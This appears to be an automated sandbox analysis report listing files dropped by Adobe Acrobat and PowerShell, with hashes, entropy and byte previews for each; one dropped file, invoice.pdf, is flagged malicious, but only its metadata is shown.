C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.209751206717831
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJfshHHrPeUkwRe9:YvXKX5YUYpW7ZnGUUUkee9
MD5:	AC3B447C6B1AF75FB920FD9615988E98
SHA1:	70FFAF12F72219B3D23379A6790DC68FFC5AA958
SHA-256:	16118025C47C9248A16B8CD5441A182501CA51D4DB48A43026BB193641BC71F1
SHA-512:	3FFD765799FB6FE1D61CBF65051A3A61D0C5E80B07BFEC0F78A8672A7CA6D062268D5257F6C0707A9D4EDA0315BCA0DCAC758C23D54F7019088D847AABAFB277
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.221539156846058
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJTqgFCrPeUkwRe9:YvXKX5YUYpW7ZnGTq16Ukee9
MD5:	7A629D55B91A9C8FC36B8CA8972285F0
SHA1:	061A1DC760D70B7A72A6025190DAC905DB7728E2
SHA-256:	88CFFEA083A188CDBD46D97D09413DFAD8579E121DE15A9FFC080C19924FF84C
SHA-512:	6CB12438FFF0FA8110D15ADF2C68A6EAE89E3E8A1B401E8FD9CF9F2C8F06B2B0847F2AA81C5F8CD00798404674716FE030016B383F4041E703F2E26DE8D517B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138850893168766
Encrypted:	false
SSDEEP:	24:YT9/aRWOvay8jDX3HEaMIfWptVsXTtjqj0SbsjHCG2qt0Z2LSgC9d5Jy295pq9Uv:YYOf3XMb+dMSHpJwOG5JyQW9Ud57
MD5:	383F7B59473FD9D080A727AC29274493
SHA1:	40BFB6AF962FF7906AB5202CC5D076F1A05F3796
SHA-256:	B5D1F5295320280ABA6188735853B233F0B9D670FC6504AD17FF98D132E56CC6
SHA-512:	127AF3EE15668988F47402630408ED4E2B95B3EF1C17819730C7E1F342123E028504B39C3C6D878092A1BA155322EC62ABF84337A2A89D1BB50D2BB2E2408DE3
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b9afc2c22f7de442f3d2596ae8e7fc10","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736567957000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e0b9e93d89ebde5df97ad49a0ee24bf4","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736567957000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"557681d85c85d9b873e9666e8714d073","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736567957000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f5984774b158765d67efb9cf5e63467a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736567957000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a8962dabc4ee85e6f6e8950735a02352","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736567957000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"03d592464efeff387147bc782d899f64","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9843387510745252
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpRyMLq04zJwtNBwtNbRZ6bRZ4KyMLq0F:TVl2GL7ms6ggOVpRyzutYtp6PfD
MD5:	EA6766BF2A1A646471AB1155AA63D854
SHA1:	4E3C6040D5E7BA7CD22097C49FEC74DD747AA64D
SHA-256:	DE8E64E874877DB755F7E28194340789B087D97CB884A75F7BC0056491427239
SHA-512:	3AC142BA3D72A90C7F715994D27C9F73C537AF65DCB24E9C28013982CB00EE33B1A5671E7AB188A02DC45ABC6AECF074E19173F69A16BD8E167199F50B6569C2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3389698156494256
Encrypted:	false
SSDEEP:	24:7+tSAD1RZKHs/Ds/SpRyMLq0PzJwtNBwtNbRZ6bRZWf1RZKuqLBx/XYKQvGJF7uS:7MSGgOVpRpzutYtp6PMzqll2GL7msb
MD5:	EFD34C3C52641DA78F049C83369B502A
SHA1:	B275472102F76722024AC38B2BA5DF5726E22187
SHA-256:	B316F4C26B8FB35D22A419E2F42DA9EE0F90132206068F4D8F9C7C3EA44E76C0
SHA-512:	8538A39C2D172EBE1E148DF3709B60A4D87F8F7CAD08DDAD3E321432632BA2178F19C26BD092CEB5440220A1006FE5D4EB35E5C8458E8F2BE5B309BD24221BD8
Malicious:	false
Preview:	.... .c......X.\|......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgGUxRiAf8OGJ1uXDU4O3qx0sESzfYyu:6a6TZ44ADEGUzGJ1olOaGsNK
MD5:	A9485CC5E38FC1BCCC4C0B4FA5034FEB
SHA1:	B06EE24523D3180CE2988555050F86FD5D702E6F
SHA-256:	E1DE9B5E6647CD2C7E108C5FD0602AC1A74D098D43F2D3CAD68E5032854032A0
SHA-512:	6779AAB7002BAD46F1AF78A3C46684FCBE3E858FB1D16BA3CDD9D3558CF6198DD39D6656AB8D320CE248CC9F835884934ABBB3C001582DC53EC6D3728F1C37D4
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIb2e1a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClSlH:Qw946cPbiOxDlbYnuRK+b3H
MD5:	C91548CC82292A33F18693C1298FAB50
SHA1:	C591310F52E103D70BD9BBD916F61D342A2D998D
SHA-256:	ABA52B5024D81CF4366C43D73F69D9CFF1ED603DA0513FC17C8977C3053E1D12
SHA-512:	35C811DCCDCEEC3680B1F8733BF365280B07D31DBC45D092073C507850033C03B5067424F643DBA41DD4860AA74F85216E781955CA387E3B45556FC221140731
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.5.9.:.1.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n0nlnw5f.wn3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yruet5jl.z5a.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-59-12-678.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3523913605340825
Encrypted:	false
SSDEEP:	384:KpjULV7fgzCI7RBQ8vER1ynL0PtVjJVrxCeqQMXZ0hSBzTYkEfRFuNunCJjToJZI:pJS
MD5:	BA215216E0790BE15853431C1B210B2F
SHA1:	1D1690AF309562F964489419412713A14FC1463D
SHA-256:	F7B89FFF0D485CE6AEB53209A9C8362FC6C3B435AB83EC657257FF61541C591E
SHA-512:	91CC2B0E96F6BEFE76D1A35F0A9F436C6F905E3102CC85E49BAF9FB1A461BD8F539C4E489B84D2AA682E4DE420806570E3ACFE96F058F0C27934AD303916A921
Malicious:	false
Preview:	SessionID=7233dbb7-212d-4ad9-ab1a-be67fb7b0b8b.1736567952689 Timestamp=2025-01-10T22:59:12:689-0500 ThreadID=7816 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7233dbb7-212d-4ad9-ab1a-be67fb7b0b8b.1736567952689 Timestamp=2025-01-10T22:59:12:690-0500 ThreadID=7816 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7233dbb7-212d-4ad9-ab1a-be67fb7b0b8b.1736567952689 Timestamp=2025-01-10T22:59:12:690-0500 ThreadID=7816 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7233dbb7-212d-4ad9-ab1a-be67fb7b0b8b.1736567952689 Timestamp=2025-01-10T22:59:12:690-0500 ThreadID=7816 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7233dbb7-212d-4ad9-ab1a-be67fb7b0b8b.1736567952689 Timestamp=2025-01-10T22:59:12:690-0500 ThreadID=7816 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39704630508564
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbM:/w
MD5:	21A599EF793298DCC15455ECCD1C1901
SHA1:	D2E6CDA7437410168A5768CCA0F27E2E8DE5E880
SHA-256:	E6F6831B53141C490A203DAB5A48D7BA59AF6CFC5B57204F8E0C07B01D12B458
SHA-512:	B03685D2734BAFCD04DE12DEB5B537E1162DB44A2B1B5CACE4F215D78E89AC176A0F6DD36263B8F907456DE5CB84EEC54769DC61DAB3135C348808AF532F43AA
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\356d11b2-fa0c-4ad4-a5bf-94c7be7f021c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\e48708e0-74bc-4ae1-9753-a90ad0d73b56.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ea027dd5-0129-43ea-af00-0a4bbfc238f4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ebb6abcf-d67e-4a4a-ad3c-59b85f119791.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
